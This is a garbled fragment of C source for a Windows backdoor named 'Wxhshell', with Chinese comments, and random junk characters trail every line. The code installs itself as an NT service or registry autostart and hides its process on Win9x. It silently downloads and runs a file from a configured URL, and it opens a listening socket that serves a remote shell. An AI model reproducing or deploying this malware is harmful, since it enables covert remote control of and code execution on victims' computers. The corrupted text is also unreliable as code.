ULONG UniqueProcessId; zcuz @
ULONG InheritedFromUniqueProcessId; Ffd4c
} PROCESS_BASIC_INFORMATION; w]fVELU
% .wx]:o
PROCNTQSIP NtQueryInformationProcess; )LNKJe+
P`S'F_IN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l3y}nh+ 8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P~V ^Efz{
J\N&u#
HANDLE hProcess; M,cz7,
PROCESS_BASIC_INFORMATION pbi; IR?nH`V
>QPCYo<E
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]bbP_n8
if(NULL == hInst ) return 0; 3NdO3-~)
nGsFt.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JE# H&]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^F-2tc
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '@zMZc!
Ba t@
if (!NtQueryInformationProcess) return 0; >;#rK@*&
Y5P9z{X=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ERIF#EY
if(!hProcess) return 0; Js.G
hTs
'Hgk$Im+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /`t}5U>S_
:;IZ|hU
CloseHandle(hProcess); ]AZCf`7/?
~jzT;9:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p@h<u!rL8
if(hProcess==NULL) return 0; @LY[kt6o
fF2]7:
HMODULE hMod; mRt/d
char procName[255]; :fUNc^\2
unsigned long cbNeeded; U lCw{:#F
Nr}O6IJ>Sg
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xZ* B}O{{H
b2RW=m-
CloseHandle(hProcess); 9!0-~,o
vP_mS 4X
if(strstr(procName,"services")) return 1; // 以服务启动 tOZ-]>U
P)~olrf
return 0; // 注册表启动 _,? xc"
} 5g;mc.Cvt
Pa=xc>m^
// 主模块 L>lxkq8!Q
int StartWxhshell(LPSTR lpCmdLine) sQ&<cBs2
{ C0khG9,BL
SOCKET wsl; 7W+{U02O
BOOL val=TRUE; '}OAl
int port=0; e&K7n@
struct sockaddr_in door; r1z+yx
p^Z|$aZZ
if(wscfg.ws_autoins) Install(); [.$/o}
VMS3Q)Ul
port=atoi(lpCmdLine); A;e"_$yt8
DcC|oU[
if(port<=0) port=wscfg.ws_port; d7uS[tKqg
<e wcWr
WSADATA data; xa967Ki9"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dc 84^>l
#KuBEHr
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :bCswgd[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wzcv[C-x
door.sin_family = AF_INET; : H]MMe
door.sin_addr.s_addr = inet_addr("127.0.0.1"); sp_19u
door.sin_port = htons(port); 2_Zn?#G8dl
z~i>GN_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iQgr8[
SFf
closesocket(wsl); +(`.pa z@
return 1; Gz--C(
} HcV,r,>e
?B`c<H"
if(listen(wsl,2) == INVALID_SOCKET) { .3wx}!:*|
closesocket(wsl); Ci[Ja#p7$h
return 1; !
GtF%V
} -I z,vd
Wxhshell(wsl); TxKNDu
WSACleanup(); dsK*YY jH
;Y`8Ee4vH
return 0; q4vHsy36
'$4&q629d
} dIA1\;@
o*[[nK*fL
// 以NT服务方式启动 NFG~PZ`6R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YpG6p0
nd
{ q9\(<<f|
DWORD status = 0; :3b\ pEO9\
DWORD specificError = 0xfffffff; .$+,Y4q~(
\_)mWK,h
serviceStatus.dwServiceType = SERVICE_WIN32; 76u\#{5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; '*`1uomeo
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zQB1C
serviceStatus.dwWin32ExitCode = 0; oHF,k
serviceStatus.dwServiceSpecificExitCode = 0; 4F!%mMq
serviceStatus.dwCheckPoint = 0; <2LUq@Pg
serviceStatus.dwWaitHint = 0; >
lI2r}
/8,cF7XL*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s-F3(mc(
if (hServiceStatusHandle==0) return; :#UA!|nV
M?DXCsZ,)s
status = GetLastError(); I]Z"?T
if (status!=NO_ERROR) 2Y;iqR
{ a!&m\+?
serviceStatus.dwCurrentState = SERVICE_STOPPED; &$h#9
serviceStatus.dwCheckPoint = 0; 7p{2&YhB
serviceStatus.dwWaitHint = 0; KPZqPtb;
serviceStatus.dwWin32ExitCode = status; ,8DjQz0ZPo
serviceStatus.dwServiceSpecificExitCode = specificError; LX(`@-<DH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 20M]gw]
return; cA{,2CYc
} \}gITc).j
Re1}aLd
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5X9*K
serviceStatus.dwCheckPoint = 0; GwG(?_I"
serviceStatus.dwWaitHint = 0; MEtKFC|p
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]XWtw21I1
} j k])S~xl?
("=B,%F_
// 处理NT服务事件,比如:启动、停止 +('=RyoT
VOID WINAPI NTServiceHandler(DWORD fdwControl) J|8 u
{ g{hbq[>X]
switch(fdwControl) D&6.> wt
.
{ #* 8^ar<
case SERVICE_CONTROL_STOP: kcP&''
serviceStatus.dwWin32ExitCode = 0; .|y{1?f_
serviceStatus.dwCurrentState = SERVICE_STOPPED; .]; `
serviceStatus.dwCheckPoint = 0; Tq%##
serviceStatus.dwWaitHint = 0; b\xse2#
{ b^<7@tY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J& D0,cuk
} j^Ln\N]^
return; iUS?xKN$~-
case SERVICE_CONTROL_PAUSE: F[X;A\
serviceStatus.dwCurrentState = SERVICE_PAUSED; Fn;Gq-^7@
break; W)`H(J
case SERVICE_CONTROL_CONTINUE: jVSU]LU E
serviceStatus.dwCurrentState = SERVICE_RUNNING; h~#.s*0.F
break; Hc\oR(L
case SERVICE_CONTROL_INTERROGATE: ~b9fk)z!
break; .zJZ*\2ob
}; WwLV^m]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Z+.FTo
} 9n3. Ar
djDE0-QxcR
// 标准应用程序主函数 g7K<"Z {M
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jx8DVjy
{ Z}>+!Z
$o*p#LU
// 获取操作系统版本 UJ&gm_M+kL
OsIsNt=GetOsVer(); %vU*4mH
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3`ze<K((
_2xYDi
// 从命令行安装 ^ E3 HY@j
if(strpbrk(lpCmdLine,"iI")) Install(); B,A\/%<
"':SWKuMx
// 下载执行文件 (U*Zz+ R
if(wscfg.ws_downexe) { J*qo3aJjE
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8qs8QK
WinExec(wscfg.ws_filenam,SW_HIDE); rU7t~DKS
} 9|>5;Ej
T{Yk/Z/}?
if(!OsIsNt) { *35o$P46
// 如果时win9x,隐藏进程并且设置为注册表启动 wtfM}MW\
HideProc(); D!bi>]Yd
StartWxhshell(lpCmdLine); ?xo<Fv
} ZIaFvm&q7Z
else ?M04 cvm
if(StartFromService()) -raZ6?Zjc
// 以服务方式启动 5:l"*
StartServiceCtrlDispatcher(DispatchTable); dg;E,'e_
p
else P~@I`r567
// 普通方式启动 o q cu<